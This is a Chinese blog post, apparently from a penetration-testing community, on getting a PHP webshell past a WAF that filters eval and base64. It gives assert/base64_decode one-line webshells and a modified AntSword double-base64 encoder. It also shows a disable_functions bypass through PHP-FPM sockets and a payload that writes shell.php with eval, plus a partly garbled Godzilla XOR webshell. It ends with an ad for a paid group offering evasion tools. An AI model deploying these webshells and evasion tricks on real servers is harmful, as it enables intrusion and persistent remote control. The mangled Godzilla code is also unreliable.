前言
可以发现, 规则,对get,post ,cookie,等方式的eval,还有base64都进行了过滤
规则, 对eval( base64( phpinfo( 等过滤了。可以采取字符串拼接的方式。
但是,eval是不能够被拼接的。因为eval()是一个语言构造器,他不能使用PHP提供的可变函数来调用
上代码:
<?php
$a='assert';
$m='base64_decode';
$a($m($_REQUEST['z']));
这个就是蚁剑的流量特征。有明显的base64所以直接被过滤掉了。
通过查资料。知道,1方面要对小马进行base64编码, 另外一方面要对蚁剑进行魔改。小马就是上面的小马了。至于蚁剑的魔改, 直接改配置 。简单来说,就是双base64
'use strict';
module.exports = (pwd, data, ext={}) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
其实当小马写入进去的时候, 就可以执行了。
不过传进去的是phpinfo() 的base64编码 . 正好小马是base64decode
当然编码格式得选刚才自己写的编码
通过查资料知道了。这是phpinfo 里面设置的disable_function 过滤掉了, system函数。
1,我先找的资料,是蚁剑的绕过disable_function 。蚁剑有个插件市场有绕过disable_function
通过一个个测试, 只有选择fastcgi/php_FPM。并且自己狠狠地恶补了这个知识。大意就是,fastcgi是个解释器,直接修改这个解释器,从而绕过phpinfo的disbale_function .
千万要注意的是,这个得选择这个。找了好多资料,测试好多次。一直找不到。其他的都不对。
/tmp/php-cgi-70.sock
本来到这里就结束了。然后连接.antproxy.php 这个文件, 密码不变。就能够成功连接上。不知道为什么, 我的蚁剑不成功。返回是空, 有知道的大佬, 求知道下
一定要注意FPM/FCGI的地址不能写错
/tmp/php-cgi-56.sock
一句话;
<?php
$a=base64_decode($_REQUEST['test']);
echo $a;
assert($a);
poc:
$a = "好好学习,天天向上;福如东海,寿比南山";
$b = file_put_contents('test.txt', $a);
$b = file_put_contents('test.txt','好好学习,天天向上;福如东海,寿比南山');
file_put_contents('shell.php','<?php eval($_REQUEST[8]);');
//哥斯拉xor一句话
file_put_contents('xor.php','<?php
<span class="label label-primary">@session_start();#CTL{n}</span><span>@set_time_limit(0);#CTL{n}</span><span>@error_reporting(0);#CTL{n}function</span> encode($D,$K){
for($i=0;[email protected]($data),$key);#CTL{n}</span> }else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
');
备注:$b的内容进行base64编码
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读